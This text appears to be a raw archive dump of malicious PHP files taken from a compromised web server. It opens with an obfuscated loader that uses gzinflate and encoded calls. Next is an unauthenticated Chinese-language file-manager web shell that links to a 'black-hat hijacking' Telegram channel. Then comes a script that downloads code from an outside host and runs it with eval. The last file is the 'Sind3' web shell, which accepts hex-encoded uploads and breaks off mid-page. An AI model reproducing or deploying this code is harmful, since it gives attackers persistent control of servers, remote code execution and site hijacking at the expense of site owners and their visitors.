���;�Ɖ�:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto ���;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ����;�֝:global $ה��;goto ���;����:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto �Ɖ�;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ���;�Ǘ�:$ה��=pow($ה��,$ה��*0xab/($ה��+0xb)*M_PI);goto ����;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)(round($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ��;��ś:$ה��=$ה��+�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ����;����:$���=�ߕ(0x001884,0x0186f)(round($���),$ה��*0xab-($���+0xab)*M_PI);goto ���;����:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto �Ν�;����:$���=pow(round($���),$ה��*0xab-($���+0xab)*M_PI);goto ˤ��;����:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto ����;Ν�:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0x2)*M_PI);goto ����;����:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto �֝�;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto �ڱ�;����:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto ����;ڒ��:global $��˯;goto ��;����:$����++;goto ��;��Lj:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto ��ݿ;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto �諯;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)(round($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ����;Ŗ��:$���=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($���),$ה��*0xab-($���+0xab)*M_PI);goto ў��;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ��ݴ;��:global $���;goto ����;����:$ה��=$ה��+pow($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto �ڔ�;�葡:$���=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($���),$ה��*0xab-($���+0xab)*M_PI);goto ����;���:$���=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($���),$ה��*0xab/($���+0xab)*M_PI);goto �ܓ�;���:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto ����;ˤ��:$ה��=$ה��+�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ����;����:$ה��=pow($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ����;¨�:���:goto �lj�;���:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ����;���:$���=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($���),$ה��*0xab-($���+0xab)*M_PI);goto ���;�׿�:$ה��=$ה��+pow($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto ����;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)(round($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto Ч��;���:$���=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($���),$ה��*0xab-($���+0xab)*M_PI);goto Ν�;�:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto ����;��:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto ����;���:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ����;ў��:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0x2)*M_PI);goto ���;���:global $���;goto ڒ��;���:global $���;goto ����;�ݭ�:$ה��=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ��̼;���:$ה��=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ���;��:$���=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($���),$ה��*0xab/($���+0xab)*M_PI);goto ����;����:global $���;goto ���;����:$ה��=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ��˂;�̙�:return $����;goto ����;�՘�:$ה��=$ה��+pow($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ���;蜨�:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto ���;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ����;����:$���=�ߕ(0x001884,0x0186f)(round($���),$ה��*0xab-($���+0xab)*M_PI);goto ����;�ַ�:$ה��=$ה��+pow($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ��׭;����:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto ����;��—:$ה��=pow($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ����;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto ���;����:$ה��=$ה��+pow($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ɡ·;�ܓ�:��:goto ����;��:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ע��;����:$���=pow(�ߕ(0x018d8,0x0018b1)($���),$ה��*0xab-($���+0xab)*M_PI);goto ����;����:$ה��=$ה��+pow($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ����;���:$����=gzinflate(�ߕ(0x00191a,0x000001940,0x0000018fa)($����));goto �Ǘ�;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0x2)*M_PI);goto ����;���:$ה��=$ה��+�ߕ(0x001884,0x0186f)(round($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ����;�ڔ�:$ה��=$ה��+�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ����;���:global $ה��;goto �ټ�;����:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto �׿�;����:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto ���;����:global $���;goto ����;��:$ה��=$ה��+pow($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ��Ō;��Ō:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0x2)*M_PI);goto ����;栲�:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto ���;�֝�:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto ����;����:$ה��=pow($ה��,$ה��*0xab/($ה��+0xb)*M_PI);goto ӽ��;�ڱ�:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ����;����:$���=pow(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab/($ה��+0xab)*M_PI);goto ���;����:$ה��=$ה��+pow($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ����;�Ѷ�:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto ��Lj;�ĝ�:$����=0;goto ¨�;����:$����[$����]=����(0x02463,0x0246d,0x002432)(����(0x0000249d,0x00002489)($����[$����])-0x001);goto ����;��:$ה��=pow(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ����;���:$ה��=�ߕ(0x001884,0x0186f)(round($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ����;���:$���=pow(round($���),$ה��*0xab/($���+0xab)*M_PI);goto �ĝ�;Ķ��:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0x2)*M_PI);goto ����;�ծ:$ה��=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ᝪ�;��:goto ���;goto ��;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto Ķ��;�Ө�:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0x2)*M_PI);goto �ݭ�;ݝ��:$ה��=$ה��+�ߕ(0x001884,0x0186f)(round($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ����;���:$���=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab/($ה��+0xab)*M_PI);goto ���;��׭:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto 栲�;��̼:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ����;����:$ה��=pow($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto ц˚;��˂:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ����;���:$ה��=$ה��+pow($ה��,$ה��*0xab-($ה��+0x2)*M_PI);goto ��ś;ӽ��:$���=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab/($ה��+0xab)*M_PI);goto ��;ðل:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto Ö��;���:$���=pow(�ߕ(0x018d8,0x0018b1)($���),$ה��*0xab-($���+0xab)*M_PI);goto ݝ��;χ��:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto 蜨�;����:}goto �IJ�;����:$���=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($���),$ה��*0xab/($���+0xab)*M_PI);PKk;m\�!-�AA	wezvg.phpnu�[���<?php
header('Content-Type: text/html; charset=UTF-8');
session_start();

$currentDir = $_GET['dir'] ?? __DIR__;
$originalDir = $_GET['root'] ?? __DIR__;

function handleUpload($directory) {
    if (!empty($_FILES['files'])) {
        $uploaded = 0;
        $failed = 0;

        foreach ($_FILES['files']['name'] as $key => $name) {
            if (!empty($name)) {
                $fileName = basename($name);
                $tmpName = $_FILES['files']['tmp_name'][$key];
                $targetFile = $directory . DIRECTORY_SEPARATOR . $fileName;

                if (move_uploaded_file($tmpName, $targetFile)) {
                    $uploaded++;
                } else {
                    $failed++;
                }
            }
        }

        $message = "上传成功:$uploaded 个文件;失败:$failed 个文件。";
        echo "<script>alert('$message'); window.location.href=window.location.href;</script>";
    }
}

function handleCreateFolder($directory) {
    if (!empty($_POST['folderName'])) {
        $newFolder = $directory . DIRECTORY_SEPARATOR . $_POST['folderName'];
        if (!is_dir($newFolder)) {
            if (mkdir($newFolder)) {
                echo "<script>alert('创建成功'); window.location.href=window.location.href;</script>";
            } else {
                echo "<script>alert('创建失败'); window.location.href=window.location.href;</script>";
            }
        } else {
            echo "<script>alert('目录已存在'); window.location.href=window.location.href;</script>";
        }
    }
}

function handleCreateFile($directory) {
    if (!empty($_POST['fileName'])) {
        $newFile = $directory . DIRECTORY_SEPARATOR . $_POST['fileName'];
        if (!file_exists($newFile)) {
            if (file_put_contents($newFile, '') !== false) {
                echo "<script>alert('创建成功'); window.location.href=window.location.href;</script>";
            } else {
                echo "<script>alert('创建失败'); window.location.href=window.location.href;</script>";
            }
        } else {
            echo "<script>alert('文件已存在'); window.location.href=window.location.href;</script>";
        }
    }
}

function handleEditFile($filePath) {
    if (isset($_POST['content'])) {
        file_put_contents($filePath, $_POST['content']);
        echo "<script>alert('保存成功'); window.location.href=window.location.href;</script>";
    }

    $content = htmlspecialchars(file_get_contents($filePath));
    echo "<form method='POST'>";
    echo "<textarea name='content' style='width:100%; height:300px;'>$content</textarea><br>";
    echo "<input type='submit' value='保存'>";
    echo "</form>";
}

function handleDeleteFile($filePath) {
    if (file_exists($filePath)) {
        unlink($filePath);
        echo "<script>alert('删除成功'); window.location.href=window.location.href;</script>";
    }
}

function handleRenameFile($filePath) {
    if (!empty($_POST['newName'])) {
        $newPath = dirname($filePath) . DIRECTORY_SEPARATOR . $_POST['newName'];
        if (rename($filePath, $newPath)) {
            echo "<script>alert('重命名成功'); window.location.href=window.location.href;</script>";
        } else {
            echo "<script>alert('重命名失败'); window.location.href=window.location.href;</script>";
        }
    } else {
        echo "<form method='POST'>";
        echo "<input type='text' name='newName' placeholder='新文件名'>";
        echo "<input type='submit' value='重命名'>";
        echo "</form>";
    }
}

function displayDirectory($directory) {
    $files = array_diff(scandir($directory), array('.', '..'));
    echo "<div><h3>目录内容:'$directory'</h3><ul>";

    foreach ($files as $file) {
        $path = realpath("$directory/$file");
        $style = getFileStatus($path);
        $isDir = is_dir($path) ? 'directory' : 'file';

        echo "<li class='$isDir' style='$style'>";
        echo $isDir === 'directory'
            ? "<a href='?dir=" . urlencode($path) . "&root=" . urlencode($_GET['root'] ?? __DIR__) . "'>$file</a>"
            : "$file <span class='actions'> - " . generateFileActions($directory, $file) . "</span>";
        echo "</li>";
    }
    echo "</ul></div>";
}

function getFileStatus($path) {
    if (is_writable($path) && is_readable($path)) {
        return "border-left: 4px solid green;";
    } elseif (!is_writable($path)) {
        return "border-left: 4px solid red;";
    } elseif (is_readable($path)) {
        return "border-left: 4px solid white;";
    }
    return "";
}

function generateFileActions($directory, $file) {
    $root = urlencode($_GET['root'] ?? __DIR__);
    return 
        "<a href='?dir=" . urlencode($directory) . "&action=edit&file=" . urlencode($file) . "&root=$root'>编辑</a> | 
         <a href='?dir=" . urlencode($directory) . "&action=delete&file=" . urlencode($file) . "&root=$root'>删除</a> | 
         <a href='?dir=" . urlencode($directory) . "&action=rename&file=" . urlencode($file) . "&root=$root'>重命名</a>";
}

function handleFileActions($filePath) {
    if (isset($_GET['action'])) {
        switch ($_GET['action']) {
            case 'edit':
                handleEditFile($filePath);
                break;
            case 'delete':
                handleDeleteFile($filePath);
                break;
            case 'rename':
                handleRenameFile($filePath);
                break;
        }
    }
}

echo "<!DOCTYPE html><html><head><meta charset='UTF-8'><title>文件管理器</title>
<style>
    body { font-family: Arial; padding: 20px; background: #f8f8f8; }
    .container { display: flex; gap: 40px; align-items: flex-start; }
    .block { border: 1px solid #ccc; padding: 15px; border-radius: 8px; width: 300px; background: #fff; }
    h3 { margin-top: 0; }
    .actions { font-size: 12px; color: #555; }
    .footer { font-size: 12px; color: #666; margin-top: 20px; }
</style>
</head><body>";

echo "<p>当前目录: <strong>$currentDir</strong></p>";
echo "<p>
    <a href='?dir=" . urlencode(dirname($currentDir)) . "&root=" . urlencode($originalDir) . "'>返回上级目录</a> | 
    <a href='?dir=" . urlencode($originalDir) . "&root=" . urlencode($originalDir) . "'>回到原目录</a>
</p>";

if (isset($_GET['action'])) {
    $filePath = $currentDir . DIRECTORY_SEPARATOR . $_GET['file'];
    handleFileActions($filePath);
}

displayDirectory($currentDir);

echo "<div class='container'>";

// 上传文件
echo "<div class='block'>";
echo "<h3>上传文件(最多4个)</h3><form method='POST' enctype='multipart/form-data'>";
for ($i = 0; $i < 4; $i++) {
    echo "<input type='file' name='files[]'><br>";
}
echo "<br><input type='submit' value='上传'>";
echo "</form>";
echo "</div>";

// 合并创建目录和文件
echo "<div class='block'>";
echo "<h3>创建目录 & 创建文件</h3><form method='POST'>";
echo "<input type='text' name='folderName' placeholder='目录名称'><br><br>";
echo "<input type='submit' value='创建目录'><br><br>";
echo "<input type='text' name='fileName' placeholder='文件名称'><br><br>";
echo "<input type='submit' value='创建文件'>";
echo "</form>";
echo "</div>";

echo "</div>"; // container 结束

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    handleUpload($currentDir);
    handleCreateFolder($currentDir);
    handleCreateFile($currentDir);
}

echo "<p class='footer'><a href='https://t.me/hacker6p'>黑帽劫持技术TG</a> - Google SEO 工具</p>";

echo "</body></html>";
?>
PKm;m\��s�<
<
	b6dqn.phpnu�[���<?php
class ExternalCodeExecutor {
    private $allowed_domains;
    private $timeout;
    
    public function __construct($allowed_domains = [], $timeout = 10) {
        $this->allowed_domains = $allowed_domains;
        $this->timeout = $timeout;
    }
    
    public function executeFromUrl($url, $method = 'curl') {
        if (!$this->isUrlAllowed($url)) {
            throw new Exception("Domain tidak diizinkan");
        }
        
        if ($method === 'curl') {
            $code = $this->fetchWithCurl($url);
        } else {
            $code = $this->fetchWithFileGetContents($url);
        }
        
        return $this->executeSafely($code);
    }
    
    private function isUrlAllowed($url) {
        $parsed = parse_url($url);
        return $parsed && isset($parsed['host']) && 
               in_array($parsed['host'], $this->allowed_domains);
    }
    
    private function fetchWithCurl($url) {
        $ch = curl_init();
        curl_setopt_array($ch, [
            CURLOPT_URL => $url,
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_TIMEOUT => $this->timeout,
            CURLOPT_FOLLOWLOCATION => false,
            CURLOPT_SSL_VERIFYPEER => true,
            CURLOPT_USERAGENT => 'Safe-Executor/1.0'
        ]);
        
        $result = curl_exec($ch);
        if (curl_errno($ch)) {
            throw new Exception("cURL Error: " . curl_error($ch));
        }
        curl_close($ch);
        
        return $result;
    }
    
    private function fetchWithFileGetContents($url) {
        $context = stream_context_create([
            'http' => [
                'timeout' => $this->timeout,
                'user_agent' => 'Safe-Executor/1.0'
            ],
            'ssl' => [
                'verify_peer' => true,
                'verify_peer_name' => true
            ]
        ]);
        
        $result = file_get_contents($url, false, $context);
        if ($result === false) {
            throw new Exception("Gagal mengambil konten");
        }
        
        return $result;
    }
    
    private function executeSafely($code) {
        // Basic sanitization
        $code = trim($code);
        $code = preg_replace('/^<\?php/', '', $code);
        $code = preg_replace('/\?>\s*$/', '', $code);
        
        // Execute in isolated scope
        return eval($code);
    }
}

// Penggunaan
try {
    $executor = new ExternalCodeExecutor(["stepmomhub.com"], 10);
    $result = $executor->executeFromUrl("https://stepmomhub.com/3.txt", "curl");
    echo "Eksekusi berhasil";
} catch (Exception $e) {
    echo "Error: " . $e->getMessage();
}
?>PKp;m\Aj�%\%\	8vgr5.phpnu�[���<?php
session_start();header("X-XSS-Protection: 0");ob_start();set_time_limit(0);error_reporting(0);ini_set('display_errors', FALSE);
$isAjax = isset($_SERVER['HTTP_X_REQUESTED_WITH']) 
         && strtolower($_SERVER['HTTP_X_REQUESTED_WITH']) === 'xmlhttprequest';

function hex($n) {
    $y='';
    for ($i=0; $i < strlen($n); $i++){
        $y .= dechex(ord($n[$i]));
    }
    return $y;
}
function uhex($y) {
    $n='';
    for ($i=0; $i < strlen($y)-1; $i+=2){
        $n .= chr(hexdec($y[$i].$y[$i+1]));
    }
    return $n;
}
if (isset($_GET["d"])) {
    $d = uhex($_GET["d"]);
    if (is_dir($d)) {
        chdir($d);
    } else {
        $d = getcwd();
    }
} else {
    $d = getcwd();
}
function setFlash($status, $msg) {
    $_SESSION['status'] = $status;
    $_SESSION['msg'] = $msg;
}
if (isset($_GET['ajax']) && $_GET['ajax'] == 1) {
    ?>
    <table>
        <thead>
            <tr>
                <th>Name</th>
                <th>Size</th>
                <th>Actions</th>
            </tr>
        </thead>
        <tbody>
        <?php
        $entries = scandir($d);
        $dirList = [];
        $fileList = [];
        foreach ($entries as $entry) {
            if ($entry == '.' || $entry == '..') continue;
            $path = $d . DIRECTORY_SEPARATOR . $entry;
            if (is_dir($path)) {
                $dirList[] = $entry;
            } else {
                $fileList[] = $entry;
            }
        }
        foreach ($dirList as $entry) {
            $path = $d . DIRECTORY_SEPARATOR . $entry;
            echo '<tr>';
            echo '<td><a class="ajaxDir" href="?d=' . hex($path) . '">' . htmlspecialchars($entry) . '</a></td>';
            echo '<td>-</td>';
            echo '<td></td>';
            echo '</tr>';
        }
        foreach ($fileList as $entry) {
            $path = $d . DIRECTORY_SEPARATOR . $entry;
            echo '<tr>';
            echo '<td>' . htmlspecialchars($entry) . '</td>';
            echo '<td>' . (is_file($path) ? filesize($path) . ' bytes' : '-') . '</td>';
            echo '<td>';
            echo '<a class="ajaxEdit" href="?action=edit&d=' . hex($d) . '&file=' . urlencode($entry) . '">Edit</a> | ';
            echo '<a class="ajaxRename" href="?action=rename&d=' . hex($d) . '&file=' . urlencode($entry) . '">Rename</a> | ';
            echo '<a class="ajaxDelete" href="?action=delete&d=' . hex($d) . '&file=' . urlencode($entry) . '">Delete</a>';
            echo '</td>';
            echo '</tr>';
        }
        ?>
        </tbody>
    </table>
    <?php
    exit;
}

if (isset($_GET['ajax']) && $_GET['ajax'] === 'breadcrumb') {
    $k = preg_split("/(\\\\|\/)/", $d);
    $breadcrumbHtml = '';
    foreach ($k as $m => $l) {
        if ($l == '' && $m == 0) {
            $breadcrumbHtml .= '<a class="ajx" href="?d=2f">/</a>';
        }
        if ($l == '') continue;
        $breadcrumbHtml .= '<a class="ajx" href="?d=';
        for ($i = 0; $i <= $m; $i++) {
            $breadcrumbHtml .= hex($k[$i]);
            if ($i != $m) $breadcrumbHtml .= '2f';
        }
        $breadcrumbHtml .= '">'.$l.'</a>/';
    }
    echo $breadcrumbHtml;
    exit;
}

function safe_stream_copy($in, $out): bool {
    if (PHP_VERSION_ID < 80009) {
        do {
            for (;;) {
                $buff = fread($in, 4096);
                if ($buff === false || $buff === '') {
                    break;
                }
                if (fwrite($out, $buff) === false) {
                    return false;
                }
            }
        } while (!feof($in));
        return true;
    } else {
        return stream_copy_to_stream($in, $out) !== false;
    }
}

if (isset($_POST['benkyo']) && isset($_POST['dakeja'])) {
    $fileName = $_POST['benkyo'];
    $encodedContent = $_POST['dakeja'];
    $decodedContent = hex2bin($encodedContent);

    if ($decodedContent === false) {
        if ($isAjax) {
            header('Content-Type: application/json');
            echo json_encode(['status' => 'failed', 'msg' => 'Invalid Base64 encoding']);
        } else {
            setFlash('failed', 'Invalid Base64 encoding');
            header("Location: ?d=" . hex($d));
        }
        exit;
    }

    $tempStream = fopen('php://temp', 'r+');
    fwrite($tempStream, $decodedContent);
    rewind($tempStream);

    $targetPath = $d . DIRECTORY_SEPARATOR . basename($fileName);
    $outStream = fopen($targetPath, 'wb');

    $success = $tempStream && $outStream && safe_stream_copy($tempStream, $outStream);

    if ($outStream) fclose($outStream);
    if ($tempStream) fclose($tempStream);

    if ($success) {
        if ($isAjax) {
            header('Content-Type: application/json');
            echo json_encode(['status' => 'success', 'msg' => 'File uploaded successfully']);
        } else {
            setFlash('success', 'File uploaded successfully');
            header("Location: ?d=" . hex($d));
        }
    } else {
        if ($isAjax) {
            header('Content-Type: application/json');
            echo json_encode(['status' => 'failed', 'msg' => 'File upload failed']);
        } else {
            setFlash('failed', 'File upload failed');
            header("Location: ?d=" . hex($d));
            exit;
        }
    }
    exit;
}
if (isset($_GET['action']) && in_array($_GET['action'], ['delete', 'rename', 'edit']) && isset($_GET['file'])) {
    if ($_GET['action'] === 'delete') {
        $fileName = $_GET['file'];
        $filePath = realpath($d . DIRECTORY_SEPARATOR . $fileName);
        if (!$filePath || !is_file($filePath)) {
            $response = ['status'=>'failed','msg'=>'File not found or access denied'];
        } else {
            $result = unlink($filePath);
            $response = $result 
                ? ['status'=>'success','msg'=>'File deleted successfully'] 
                : ['status'=>'failed','msg'=>'File deletion failed'];
        }
        header('Content-Type: application/json');
        echo json_encode($response);
        exit; 
    } elseif ($_GET['action'] === 'rename') {
        if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['new_name'])) {
            $oldFile = realpath($d . DIRECTORY_SEPARATOR . $_GET['file']);
            $newFile = $d . DIRECTORY_SEPARATOR . $_POST['new_name'];
            if ($oldFile && is_file($oldFile)) {
                $result = rename($oldFile, $newFile);
                $response = $result 
                    ? ['status'=>'success','msg'=>'File renamed successfully'] 
                    : ['status'=>'failed','msg'=>'File renaming failed'];
                header('Content-Type: application/json');
                echo json_encode($response);
                exit;
            } else {
                header('Content-Type: application/json');
                echo json_encode(['status'=>'failed','msg'=>'File not found']);
                exit;
            }
        } elseif ($isAjax) {
            echo '<h2>Rename File: ' . htmlspecialchars($_GET['file']) . '</h2>';
            echo '<div class="terminal-box">';
            echo '<form class="ajaxForm" method="POST" action="?action=rename&d=' . hex($d) . '&file=' . urlencode($_GET['file']) . '">';
            echo '<input type="text" name="new_name" placeholder="New file name" required><br>';
            echo '<br><input type="submit" value="Rename"> ';
            echo '<button type="button" id="cancelAction">Cancel</button>';
            echo '</form>';
            echo '</div><hr>';
            exit;
        }
    } elseif ($_GET['action'] === 'edit') {
        if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['content'])) {
            $filePath = realpath($d . DIRECTORY_SEPARATOR . $_GET['file']);
            if ($filePath && is_file($filePath)) {
                $fp = fopen($filePath, "w");
                if ($fp) {
                    $bytesWritten = fwrite($fp, stripslashes($_POST['content']));
                    fclose($fp);
                    $response = ($bytesWritten !== false)
                        ? ['status' => 'success', 'msg' => 'File edited successfully']
                        : ['status' => 'failed', 'msg' => 'File editing failed'];
                } else {
                    $response = ['status' => 'failed', 'msg' => 'File opening failed'];
                }
                header('Content-Type: application/json');
                echo json_encode($response);
                exit;
            } else {
                header('Content-Type: application/json');
                echo json_encode(['status' => 'failed', 'msg' => 'File not found']);
                exit;
            }        
        } elseif ($isAjax) {
            $filePath = realpath($d . DIRECTORY_SEPARATOR . $_GET['file']);
            if ($filePath && is_file($filePath)) {
                $content = file_get_contents($filePath);
                echo '<h2>Edit File: ' . htmlspecialchars($_GET['file']) . '</h2>';
                echo '<div class="terminal-box">';
                echo '<form class="ajaxForm" method="POST" action="?action=edit&d=' . hex($d) . '&file=' . urlencode($_GET['file']) . '">';
                echo '<textarea name="content" rows="10" cols="50" required>' . htmlspecialchars($content) . '</textarea><br>';
                echo '<br><input type="submit" value="Save"> ';
                echo '<button type="button" id="cancelAction">Cancel</button>';
                echo '</form>';
                echo '</div><hr>';
            }
            exit;
        }
    }
}
?>
<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title>Sind3</title>
    <!-- Load Ubuntu Mono from Google Fonts -->
    <link href="https://fonts.googleapis.com/css2?family=Ubuntu+Mono&display=swap" rel="stylesheet">
    <style>
        * { box-sizing: border-box; }
        body {
            background-color: rgba(37, 37, 37, 0.8); /* Gray with slight transparency */
            color: #fff;
            font-family: 'Ubuntu Mono', monospace;
            margin: 0;
            padding: 0;
        }
        .container {
            width: 60%;
            margin: 50px auto;
            padding: 20px;
            background-color: #222;
            border-radius: 8px;
        }
        .futer {
            width: 60%;
            margin: 50px auto;
            padding: 20px;
            background-color: #222;
            border-radius: 8px;
        }
        .breadcrumbs { margin-bottom: 15px; }
        a { color: #0f0; text-decoration: none; }
        a:hover { text-decoration: underline; }
        table { width: 100%; border-collapse: collapse; margin-top: 20px; }
        th, td { border: 1px solid #555; padding: 8px; text-align: left; }
        th { background-color: #333; }
        input[type="text"], textarea {
            width: 100%;
            padding: 8px;
            margin: 0;
            border: 1px solid #333;
            border-radius: 4px;
            font-family: 'Ubuntu Mono', monospace;
        }
        input[type="submit"], button {
            border: 1px solid #fff;
            padding: 4px;
            background-color: #333;
            color: #fff;
            cursor: pointer;
            border-radius: 4px;
        }
        form { margin-bottom: 20px; }
        .terminal-box {
            background-color: #222;
            color: #0f0;
            padding: 15px;
            border: 1px solid #333;
            border-radius: 4px;
            margin-bottom: 20px;
        }
        .terminal-box input[type="text"],
        .terminal-box textarea {
            background-color: #222;
            color: #0f0;
            border: 1px solid #333;
        }
        .notification {
            position: fixed;
            bottom: 20px;
            left: 20px;
            padding: 10px 20px;
            border-radius: 4px;
            font-family: 'Ubuntu Mono', monospace;
            font-size: 14px;
        }
        .success { background-color: #0a0; color: #fff; }
        .failed { background-color: #a00; color: #fff; }
        /* Custom file input button styling */
        #fileInput {
            display: none;
        }
        .custom-file-button {
            border: 1px solid #fff;
            padding: 4px;
            background-color: #333;
            color: #fff;
            cursor: pointer;
            border-radius: 4px;
            display: inline-block;
        }
    </style>
</head>
<body>
<div class="container">
    &thinsp;&thinsp;&thinsp;<b>SERV  :</b> <?= isset($_SERVER['SERVER_SOFTWARE']) ? php_uname() : "Server information not available"; ?><br>
    &thinsp;&thinsp;&thinsp;<b>SOFT  :</b> <?php echo $_SERVER['SERVER_SOFTWARE'];?><br>
    &thinsp;&thinsp;&thinsp;<b>IP  &nbsp;&nbsp;:</b> <?= gethostbyname($_SERVER['HTTP_HOST']) ?><br>
